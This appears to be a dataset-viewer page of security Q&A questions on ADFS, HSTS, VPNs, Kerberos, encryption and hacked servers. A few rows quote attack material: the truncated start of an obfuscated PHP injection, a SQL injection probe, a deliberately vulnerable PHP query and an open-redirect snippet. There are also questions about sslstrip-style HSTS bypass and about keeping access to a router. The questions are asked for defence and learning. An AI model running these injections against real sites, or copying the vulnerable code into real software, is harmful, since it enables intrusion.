instruction stringlengths 24 27.2k |
|---|
Recently I had a shared hosting server that was hacked; the following line of code was injected at the top of every PHP file on the server:
<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")... |
I'm currently investigating the deployment of an Active Directory Federation Services (ADFS) server for providing Single Sign-on for various services. By default, ADFS enables support for Extended Protection for Authentication (EPA) to protect against man-in-the-middle attacks against Integrated Windows Authentication ... |
I have a simple login form on my web page and the URL looks like this:
example.com/signup/signup.php?q=1
If I try something like this:
example.com/signup/signup.php?q=1&()
I'm redirected to a stack dump that looks something like this:
exception 'DOMException' with message 'Invalid Character Error' in /<mydirectory>/a... |
Bob has a mistress. Her name is Alice. Bob`s wife Eve knows Bob is unfaithful, but she does not know who the mistress is. Alice does not know Bob is married.
Bob needs to communicate with Alice over e-mail, but he needs to use his personal address (bob@bob.bob) and the e-mails must be sent to personal address of Alice ... |
I've had an attacker try to gain access to one of my websites through a form using what looks like a blind SQL inject.
It is a huge form, and every possible permutation of values has been tried - in total about 18000 of them.
He hasn't had any success (yay!), but I'm left with a bit of a puzzle: there are no unusual ... |
I've been doing some research regarding password security and after reading several topics and the Kerckhoff's principle. I came up with what I believe is a really secure system regarding online security:
An offline/local encryption/hashing server. Imagine this: a user registers himself on the website but instead of th... |
Both OpenSSH and GPG can generate key pairs which are stored as files in well-known paths inside the user directory. A passphrase is always asked for during the generation process, which is then used to encrypt the contents of the private key using a symmetric encryption algorithm.
I'd like to know if these programs do... |
I currently have a desktop app written in Java (Swing) which talks to a C-based backend over SSL. I am trying to understand the pros/con from a security perspective to move to a web service model. There are multiple business and engineering reasons to do it but our business data is very sensitive, so security trumps th... |
I've done some reading in this area and there is very little information about the security of a HashMap. The only article I could find was on IBM's Developer Works site.
What hashing function is used for HashMap in Java. That's really the most important question regarding the security of HashMaps, right?
|
I have a computer (Windows) on a network where an industrial process is controlled. There is an option in Local Security Policy >> Local Policies >> Security Options >> "Microsoft network client: Digitally sign communications (always)".
By default, this option should be Disabled on Windows machines but all computers th... |
There is HPKP (HTTP Public Key Pinning) which servers use to tell the client's web browser which certificates to trust (in the future) for the domain that is being contacted.
Google's Chrome and Mozilla's FireFox bring their own lists of websites that are pinned to certain certificates. (Google calls an entry in this l... |
I'm creating a RSA/SHA-512 Zone Signing Key and Key Signing Key at Dynect Managed DNS (corporate offering)
The Delegation Signer Record that was created is SHA1. Should I be concerned about this?
|
I am searching for some resources and documentation on modeling security groups for a web application, but seem to be coming up rather dry.
I am interested in creating a visio-like diagram that displays all security groups in an application, what user roles those groups pertain to, and how to incorporate real world use... |
I am currently a bit confused, I have read today an article about the BIOS-rootkit Lighteater made by John Loucaides and Andrew Furtaki. In their presentation 'How many million BIOSes would you like to infect?' they explain what they have done. They spoke at the CanSecWest this month. This is real serious, as in a conc... |
I have a situation where I keep receiving spam from several IT companies (solicitations, marketing etc.). I think I gave away my email to a company in the last couple of years for reading a white paper or something (I do not remember at all). And that company has been selling my email to various IT firms.
I reached out... |
Which attack takes place more often over the internet? I would have assumed DDOS due to the amount of botnets around today.
|
Suppose H has taken C’s certificate and manually changed the subject information in C’s certificate from C to H. Would this modification be detected by A during the certificate verification process?
|
I own a Netbook and my external DVD Drive is possibly infected with Bad USB.
If I install Ubuntu using this infected DVD drive, could my system be taken over during installation process or later when the drive is already unplugged?
Suppose I am installing offline and setting a strong sudo password during installation ... |
I lost my internet connection for about 15 minutes and I checked my netgear router log and found these 3:
[DoS Attack: ACK Scan] from source: 114.77.184.189, port 44822, Tuesday, March 24,2015 19:08:15
[DoS Attack: ACK Scan] from source: 91.135.35.51, port 80, Tuesday, March 24,2015 18:53:17
[DoS Attack: ACK Scan]... |
How do you store a username/password securely in a rails app when using it for many ldap searches?
The connection in the app requires
ldap_bind_authenticate(Net::LDAP.new, username, password)
each time a search is made, and the credentials of the user are not stored at logon. I often see developers using a test user ... |
I wonder what kind of infections AV software is capable of detecting:
only if the file is signed?
also if the entry point isn't changed?
does it also have hashes for non system files?
what if the signature is simply removed?
|
I know that on the server side it's very bad to display system-level errors instead of logging them to disk, because it could expose potentially sensitive information, but do the same concerns apply to client-side languages like JavaScript?
e.g.,
try {
foo();
} catch ( exception ) {
if ( window.console ) {
... |
I'm wondering if an antimalware vendor has ever whitelisted (or otherwise failed to detect) a piece of malware because the author/sponsor either paid them, threatened them, or legislated against them.
|
Obviously SQL Injection via the payload of a message is a very common practice and therefore it is always key to cover this (I already have in my code). However I'm just wondering about how possible it is for SQL Injection via the URL and whether this is possible as an actual method for SQL Injection.
I'll give an exam... |
I have a situation where my web application is going to be deployed on multiple web servers, and I'll be wanting to store some securely encrypted data on the DB servers (each web server has a DB server paired with it).
Now, what I was thinking of doing was implementing Encrypt and Decrypt library functions that utilize... |
There has been some weird activity with my WiFi router after somebody threatened to DDoS me. I am looking at my WiFi router's activity logs and I don't know what I am looking for.
What happens is my WiFi turns off, for all the devices in my house, then I can't connect to the internet for 1 minute or so.
This has happen... |
I've heard that IMEI numbers are stored on an EEPROM, essentially letting them be erased and rewritten.
Thieves misuse it to make stolen phones untraceable.
Is there a reason why manufacturers don't use one-time programmable non-volatile memory for this?
|
I am having issues playing an audio file on the chrome browser!
This audio file plays on the chrome browser on my mobile LG G Pro-2(D838) running Kitkat 4.4.2 without any issues.
But when i uploaded this same file to our server and tried to open it on chrome browser, it does not play. Here is the link to the file at o... |
I have been doing business with someone on Fiverr. The person's help was really good, but I have concerns that they could potentially hack through TeamViewer. I never leave sight of my PC and I follow every click that is made with the mouse.
However, is there a way that someone can hack without my knowledge? Is there a... |
I am writing a code to perform encryption and decryption using CryptEncrypt and CryptDecrypt functions, a part of Windows' Crypto API. Can anyone tell me what kind of encryption these two function use? Is it using AES or DES or 3DES or others?
|
I'm designing architecture for sending private messages (i.e. only sender and receiver are able to read a message).
Client side - iOS, server side - Parse.com
I'm thinking of using RSA to encrypt/decrypt messages as follows:
iOS app generates a private/public key pair for each user.
Private key is stored locally in iO... |
I don't have strong skills about this matter but I am very curious about the following communication so may I ask:
One institution sent a message to all network users saying that "all requests to the internet which are encrypted will be decrypted and then re-encrypted at firewall level". So my questions are: is this po... |
I've just set up a Raspberry Pi 2 with the latest raspbian and installed some services.
For remote access I've installed tightvnc server which I set up to only allow connections from localhost. I can still access it remotely by first starting a SSH connection which opens a tunnel to the used port (e.g. via putty, or fr... |
I read article about it here and it says:
Researchers at Ben-Gurion University have created a new piece of
malware called BitWhisper. Infected machines can transmit data using
heat they produce. Commands, for example, can be passed from one
system to another by modulating its temperature. The target machine’s
... |
I'm part of a company that has at least 1000 PC's distributed in different buildings over a radius of 25 miles.
I've been asked to make a program to survey technical information on each PC.
Since not all of them share a LAN connection but all of them have internet access, my solution was to use a gmail account to sh... |
I have a question about implementing OpenID Connect I was hoping I could get some help on. I understand the different flows and get that the authorization code flow is good because it allow client credentials and server-to-server communication is more secure than communication through the user agent. But even so using ... |
I need to create a system that allows a user to enter codes to charge an allowance. Embedded in this code should be the amount to charge the allowance.
The user would pay for a code which would then be generated on a server and then presented to the user. Then the user would enter the code into an embedded computer wi... |
With regards to encryption and preventing a 3rd party from viewing my emails (and ignoring validity/signing), is encrypting an email via PGP or S/MIME useful when I control my server and my recipient controls their server?
I'm assuming the servers are not compromised and do not have other untrustworthy admins. And, for... |
Today I was trying to enter my routers admin page. I put the default IP address starting with 192.168. I couldn't login so ran ipconfig, and I discovered that I was assigned a Class A address. I was confused because I didn't change my IP so i typed that A class IP which starts with 10.100 a file downloaded and installe... |
I came across this term called "Satisfiability Modulo Theories", which when I Googled it, was something that is related to various theories on low level languages. How does this help in discovering 0-days? I also saw people using something called "Z3 solver" could somebody give a shorter explanation of what this is?
|
I've developed an API. I got confused and I've been reading articles for days.
Actually my question is close to these but not exact (maybe a combination of them);
Securing REST API that will accessed from different clients
Secure no-login REST API for very few clients
I need to provide safety to my API. The API will... |
I'm writing a piece of software which will have to store a users password to allow authentication with a 3rd Party service. Unfortunately, this service currently requires the use of a password rather than some other method. A key feature/advantage of this software will be the elimination of a sign-in prompt (after the ... |
Many people pay for VPNs and select the VPN based on whether or not that VPN keeps logs of the user's activities and if so for how long. The motivation is privacy- they don't want their surfing habits to be known. Of course they take other steps , controlling cookies etc to control their privacy also.
My question is h... |
SHA-1 is being phased out by a lot of major companies due to vulnerabilities.
For example Chrome no longer considers it safe for public web PKI.
Is it insecure to use SHA-1 for PGP email signatures?
|
I have a private/public key pair saved as key BLOBs which were in fact exported with the Microsoft "CryptExportKey" API. Now I need to use the same key pair (specially the public key) under Linux environment. Is there anyway to import the public key from my "public key BLOB" in Linux?
My requirement is, I create a docu... |
Below is the PHP code I wrote that allows SQL injection with one parameter ie 'id' in this case.
On trying SQL injection via putting this 2' ORDER BY 1;--' in the parameter (id field ), I get only SQL errors on the page.
On executing the query directly on mysql server ie SELECT * FROM users WHERE id = '2' ORDER B... |
I noticed it in, for example, the profiles of some Stack Exchange users. So I wonder: did they want to protect themselves from spamming bots this way, or ...?
Does it have to do with security? Because I guess that the bots can easily convert something like "name at email dot com" to "name@email.com"...
...or read si... |
I was in discussion with a vendor to implement a backup solution and as flexible as most cloud applications nowadays, it needs to be access from anywhere on Internet without VPN or any special tunneling.
From high level perceptive, the solution has a web-ish application that client talks to and it needs to talk to a MS... |
PCI-DSS 3 requirement 6.4.2 calls for
Separation of duties between development/test and production environments.
Based on the guidance text and this, answer to another question, it appears that the purpose of this requirement is to ensure that no one person holds all the access.
While this is easy enough in a large... |
I would like to write a personal blog without making my real identity public.
It's not a "war blog" or similar, I would like to write about several personal problems and give (if possible) some comfort to other people in my same situation.
In Italy (and I think in all EU) if you collect emails for the comments and/or y... |
Could antivirus programs not just scan all files as they are created instead of using on access scanning. Would this kind of approach not be much more scure?
|
Thanks in advance for your advice
We have to implement VPN connection for nearly 7 countries
Option 1 :
As we have private MPLS link to all 7 countries. It is been outsourced Third party.
They provide VPN with 2FA with a extra cost. But challenge is it
opens up access to all countries.
Managed by Third party, Every ... |
It appears that Java Keystore is often used by web server using a configuration file, with the password opening the JKS written in it and also the password protecting the specific entry.
How could that be considered secure ? With this scheme, the "secret problem" has moved to the file. Even if the file is protected by ... |
Background
I'm trying to design a secure and sustainable web app for messaging.
The purpose is to learn how to create secure web application.
The application is suppose to be written in Javascript for web based clients and PHP for server-side.
Clients using the web application will log in to be able to use the service ... |
While running the simpleWebRTC example Step8 of the WebRTC codelab tutorial on my local computer 192.168.2.101 (in my own home private network), when someone (that I don't know) joined in (video + audio) (???)
I am wondering how could this have happened since I am running the WebRTC in my private network.
Could that pe... |
An anonymous VPN service will typically assign the same public IP address to many VPN users. This procedure ensures that a connection cannot be traced back to the VPN subscriber: behind the veil of the VPN’s public IP are perhaps hundreds of potential clients. This statement assumes the VPN provider does not keep any... |
We are running an online-press media-library. On this site many brands are uploading images and track press users download and views per image.
But some brand now want to add unique code in image so they can track their own images.
We tried some steganography tools:
http://www.outguess.org/info.php (support JPG)
http... |
I have a landing page setup for my business located at www.jdmxchange.com and have been getting some strange error logs from ELMAH. I apparently have users (or bots) in the Ukraine probing the hell out of my site. It seems they are trying to figure out what technology I have running under the hood. I get exceptions for... |
I want to encrypt my private stuff like credit cards, money, RSA private keys (and so on) but I don't know if I should use AES-256 only or in combo like Serpent-Twofish-AES (I am using Veracrypt).
And, does the US government really only use AES encryption?
|
Today Amazon announced their Cloud Drive with unlimited storage for only 60$/yr. Microsoft did the same with Office 365 a while ago. I don't really want to entrust either service with my dearest documents in an unencrypted way.
So now I'd like to use one of these services with some workaround that...
allows me to use ... |
Let's say I have 2 different VPN services (vpn1 and vpn2) both using OpenVPN and a Linux host running a guest VM.
Now let's suppose I connect from the Linux host to vpn1. Then I connect from the guest VM to vpn2 and I browse the Internet from there.
The situation, I suppose, should look like this (but I'm not sure):
ho... |
Besides turning off everything in Edit/Preferences/Advanced/Data Choices and browser.newtabpage.directory.ping
browser.newtabpage.directory.source
browser.safebrowsing...
security.ssl.errorReporting.enabled
What should one change in Firefox settings to avoid sending extra info to Mozilla?
|
Someone appears to be logging into my machine remotely, I am running Avast anti virus with Comodo Firewall both report no attacks.I only noticed this because on my router security logs I see the following.
I have scanned the machine with 6 different anti virus scanners and all report the machine is clean, so it's prob... |
I woke up this morning and could see over 1000+ of these alerts.
They came in the time space 23:34 - 23:35.
Can anybody tell me what that was about and should I be worried for an eventual DDoS attack?
I am running pfsense and behind that box I have my LAN and a NIC where my server is in a separate environment.
|
I often run into infected devices in my environment and would like to learn more about the specific infections that have gotten in. What are the best tools and techniques I could use to do this? I was thinking of taking an image of the device and creating a virtual machine so I could run tests, kill it and create a ne... |
I'm using django-rest-framework-jwt in one of my APIs. As you might know, the concept is simple: you send username and password and you get a token back. The token is not stored anywhere on the server.
By sending the token in the header of subsequent requests, the user associated with the token is extracted from datab... |
As the title indicates, I'm looking for industry best practices for enabling Windows Remote Management on a mix of Windows Servers (from 2000, 2003, 2008/R2 and 2012) to allow PowerShell to execute commands on a remote server.
What are some security best practices to follow to limit the attack surface should an attacke... |
I analysed an live camero's net traffic and found that the client uses both TLS1.0 and TLS1.2 in the handshakings while the server only uses TLS1.0.
How can the handshaking uses both TLSV1.0 and TLSV1.2?Is there a reason for doing so?
1.Is TLS1.0 is sufficiently secure?
2.It uses spdy with TLS1.0, can spdy help to make... |
If a user download commercial software through the official, corresponding website, but use a product key which you did not legitimately purchase (e.g. websites that offer a list of product keys for free), does that harm anything other than the company who made the piece of software?
I was wondering if the person who g... |
There is a Wordpress blog running on Wordpress 4.0. Anyone having the company webmail can signup to the blog using their Google+ account and submit blog posts. Once posted they will be sent to some moderators and once it is reviewed moderator can post it on the blog. Whenever anew blog post is submitted for review all ... |
If client and AP both have the Pairwise Master Key (PMK) available, why do we need a 4 way handshake again to derive some other key (PTK)? Why can't we use PMK for further security process?
|
At work we suspect a GWT app (that is not in production yet) we own to be vulnerable to CSRF. We have to look at it from a black-box point of view before a third-party security audit will be performed.
Due to the fact that all calls in the app are made through AJAX (with method POST), simply replicating an Ajax call in... |
My Linux Jenkins server was compromised and a Rootkit was installed. I know this since a running process tells me the path Jenkins job is running and it includes a URL with path pointing to a Python script. On a different host I opened that script and found several scripts that attempt to install a Rootkit along with a... |
Why does the RFC prohibit the server from sending HSTS to the client over HTTP?
I can see that if a HTTP client responds to that unsecure HTTP response it might cause that site to be inaccessible to the client, but I don't see any reason for the server to have a MUST in the protocol.
Rather the client MUST NOT respond ... |
I have a website, let's call it www.good.com.
I've been getting a lot of requests to www.good.com under completely different URLs than www.good.com. I suspect this traffic is also causing some site performance issues. I'm running a .NET solution on IIS for reference.
I have a logger that is constantly picking up 404 er... |
Background: I'm writing a GPL Python OpenPGP to JSON parser which I'm testing on files generated with GPG 1.4.16.
If given a passphrase, the parser will generate keys using the string-to-key methods and ultimately decrypt messages.
I'm starting off with symmetric encryption messages:
echo "hello" | gpg --s2k-mode=0 --s... |
I have made a Veracrypt Containment that uses AES to encrypt everything inside. But my question is: can I securely put the containment file in public (everybody can access it) without anybody able to access the files inside it?
PS. Some information below may help to answer the question:
I use VeraCrypt to encrypt file... |
I have mobile devices (low power, low bandwidth) need to act as a proxy for certain types of P2P encrypted data, such as voting, bitcoin payment, or other specific-purpose usage, and I want to make sure that each phone's data service isn't abused.
To that end I need to verify
The general contents of the data going ... |
I just deployed DNSSEC at val-id.com and getvalid.com
Since DNSSEC is a requirement of DANE, and I have a CA-based certificate, can I show my support for DANE-based deployments by publishing my CA-based cert into DNS?
My concern is consistency in the client. If there is an attack on DNS vs a compromised root, how will... |
Is there any way to set a DNSSec-always policy similar to how HSTS commands Web Browsers to always use HTTPS?
This would mitigate a DNSSec-strip attack (similar to SSLStrip)
I'm also unclear if this would apply to IPSec, where security is mandatory, however not sure if this requires DNSSec as a pre-requisite
|
I'm interested to know if A hacks B's wifi password, what can A do to gain persistent access to the router even after B changes the wifi password? Secondly, how can we detect the backdoor and patch it?
|
EFS is not an option for me because I'm using Windows 7 Home Premium.
I am looking for folder encryption, not drive encryption.
|
In my program, I have an encrypted database on the file system with a password. It is decrypted in RAM, and the sensitive data get spread out too much in RAM for mistake to be auditable easily enough. (Which rule out zeroing memory manually and using SecureString all over the place)
So what I think about doing is spawn... |
I'm still fairly new to networking, and I'm having a little trouble grasping some concepts of the proper firewall rules I need to implement for my desired setup. I'm setting up a router with OpenWRT and OpenVPN to route incoming traffic through my VPN provider (proxy.sh). I've largely got things setup adapting from the... |
How difficult would it be for someone who stole your device to gain access to the username and password information stored under the Settings -> More -> Accounts section of an Android device?
On Linux shadow passwords are stored as hashes but these are only used to check inputs (they are never transmitted over the netw... |
I'm new to the security stack exchange, so feel free to edit the question or redirect me to another forum if this is not fitting.
I'm currently working on a web application that will allow the user to manage their Exchange email account; read mail, send mail, create new folders, and so on. I want to support versions of... |
There are two processes on a Windows machine: one is related to user interface (UI) and the other is a backend service running locally. The UI process sends data to the backend service and they mutually communicate with each other using inter-process communication channel.
I want to secure the IPC channel, however, I ... |
I configured XAMPP / Windows on my laptop so that this URL:
https://www.supersite.com/
points to XAMPP / localhost rather look elsewhere.
I basically generated a self-signing certificate, imported it into Windows and changed Windows hosts file.
It works just fine in Chrome, but it's only a "normal" SSL certificate, I'd... |
My server generates an AES encrypted file which when downloaded acts as an input for an application. So, should I hardcode the symmetric key inside the application or should I randomly generate the symkey and hide it inside the encrypted data. The size of my encrypted data being few Kilobytes.
|
I am trying to understand how to bypass HSTS protection. I've read about tools by LeonardoNve ( https://github.com/LeonardoNve/sslstrip2 and https://github.com/LeonardoNve/dns2proxy ).
But I quite don't get it.
If the client is requesting for the first time the server, it will work anytime, because sslstrip will simpl... |
I am trying to understand Kerberos Authentication.
So far my understanding is:
Supposing 'Alice' (A) wants to talk to 'Bob' (B).
Step 1:
A -> S: {A, B, None} K(A, S) Where S is the Kerberos Server, and
K(A,S) is a key to communicate between A and S.
Step 2:
S->A {K(A,B), {K(A,B), A} K(B,S)} K(A,S) Server returns... |
In SSH, what is the difference between host key and public key.
Public key I believe that is part of private/public key pair, so, that anything sent by server(encrypted using private) can be decrypted by client using public key and anything sent after encrypting with public key can only be decrypted by server's private... |
McAfee is reporting incoming network connections blocked from IPs like 198.252.206.149 (StackExchange Inc.), 54.179.231.116 (Amazon Technologies Inc.), 74.125.68.106 (Google Inc.), etc.
The ports blocked vary: e.g. 54452, 54551, 52931, 53353, 52912, 52902, 52914, 54146, 54156, 53986, 52931, 52914, 53204, 52927, 52912,... |
In redir.php:
header("Location: {$_GET['addr']}");
For fixing open redirect vulnerability i can think of several ways:
1- (Side effect of) Using a security token (anti-csrf token):
if(!isset($_SESSION['anticsrf_token'], $_GET['anticsrf_token']) or $_SESSION['anticsrf_token']!==$_GET['anticsrf_token']) exit('...');
Th... |
I was wondering whether anyone knew if malware could spread without internet connectivity? Also, can you defend against malware by releasing counter-malware that spreads exploiting the same vulnerability, but upon infection uninstall the original malware?
|
I'm new here. Over the past couple of years I've had a growing interest in the security aspects of IT/CS. Recently, I've started setting up a lab for myself based on a kali/win7 dualboot and I've been following the instructions given via The Hacker Playbook in setting it up.
So far, I've got separate partitions for... |
If we want to allow sensitive data between a web server and specific client only, is there anything more that can be done besides the following?
Note that this is potentially a duplicate of Authenticating client without hardcoding key? but the focus here is more on a good solution within this limitation (that there is ... |
I am currently setting up development environments for BB10 apps on Linux workstations. BlackBerry provides their Momentics IDE for free from (https://developer.blackberry.com/native/downloads/). The catch is that even though the download links to the installer files on this page appear to be HTTPS protected, they actu... |
When you get a certificate from a website you visit, signed by a trusted CA, is it trust-worthy because the CA authority did a background check on them?
But how does this help with spoof websites?
Imagine this:
someone made a fakebook.com and made it look exactly like Facebook
user actually typed in fakebook.com hims... |
I keep seen this on my tcpdump output.. is prob something very simple and logical but I can't see to see any process with lsof or netstat doing a ICMP request to it's own 127.0.0.1 every 2-3 secs... anyone have any idea of what is creating this? thanks in advance..
tcpdump -i eth0 ! port 22 and ! port 2222 and proto I... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.